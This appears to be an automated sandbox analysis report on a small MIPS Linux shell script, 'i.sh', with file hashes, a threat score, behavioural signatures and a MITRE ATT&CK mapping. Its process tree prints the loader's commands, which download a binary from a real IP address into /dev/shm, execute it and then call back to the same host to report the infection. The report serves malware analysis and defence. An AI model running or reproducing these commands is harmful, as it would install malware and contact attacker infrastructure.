fdb14707de0539a58c200f31ae6dbd43d34465d10c8ea60e332dfc122c4cd635

Analysis

max time kernel
8s
max time network
9s
platform
debian-9_mipsel
resource
debian9-mipsel-20260126-en
resource tags

arch:mipselimage:debian9-mipsel-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
25/04/2026, 09:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
i.sh
Size 389B
Sample260425-ls2ysset3x
SHA256 fdb14707de0539a58c200f31ae6dbd43d34465d10c8ea60e332dfc122c4cd635
MD5 6005086f0213db0179b57c1c21763362
SHA1 d680362da65a6e1dd803f3eef2c7716680703d3b
SHA512 895fa2199278358be36b2280396791575a663475e1be2201d7caa15f1d50f78d3053bee4eebaa103e2cb9a6c298d7510123b90a427ce064008ffebea637c1c1f
TLSH
T187E0F1520C8726703B5518828744112C84017EEBC3E43C91F20E37B65CDCB15B312BCB
MD5 SHA1 SHA512 TLSH

Score

7^/10

discovery upx

Malware Config

Signatures

Executes dropped EXE 1 IoCs

ioc	pid	Process
/dev/shm/v	746	i.sh

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
754	curl

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/v	curl

/tmp/i.sh
/tmp/i.sh
1⤵
- Executes dropped EXE
PID:716
- /usr/bin/curl
  curl -sL http://5.63.19.19/vc2 -o /dev/shm/v
  2⤵
  - Reads runtime system information
  - Writes file to shm directory
  PID:719
- /bin/chmod
  2⤵
  PID:743
- /usr/bin/curl
  2⤵
  - Reads runtime system information
  PID:749
- /bin/uname
  uname -m
  2⤵
  PID:753
- /usr/bin/curl
  curl -s http://5.63.19.19:9999/verify/hit-85.203.46.71-LOADER-mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:754

/dev/shm/v
1⤵
PID:746

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /dev/shm/v
Size 9.2MB
SHA256 46ee83cae9165fb41de373759793a1f99c5743dd7fe08102b6900489b9db9c12
MD5 14cd0e22f9522bab766c300b66d74c5a
SHA1 42b4b6bbde94d8e25e3e0b4926bee118fdc0f663
SHA512 8a38a37e05d039017ee367b57b8f75082bedd38abfc61bf72b29b54f5731f26c5bea980c80dc24e2bc72de4b805bd1255abb58d843df71907571f82e3c252fb2
SSDEEP 196608:rOyotIgn/V/W6LCbpZVhvV1CICT36GjeOCJTVESymQxC3jEDa:rHg/tW7VhvyVeOATVE/m33J
TLSH
T176A633769BD09F6EDF2400FFD877B3D8AD419F8001786B5750AD184B8A05AB8A9025FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download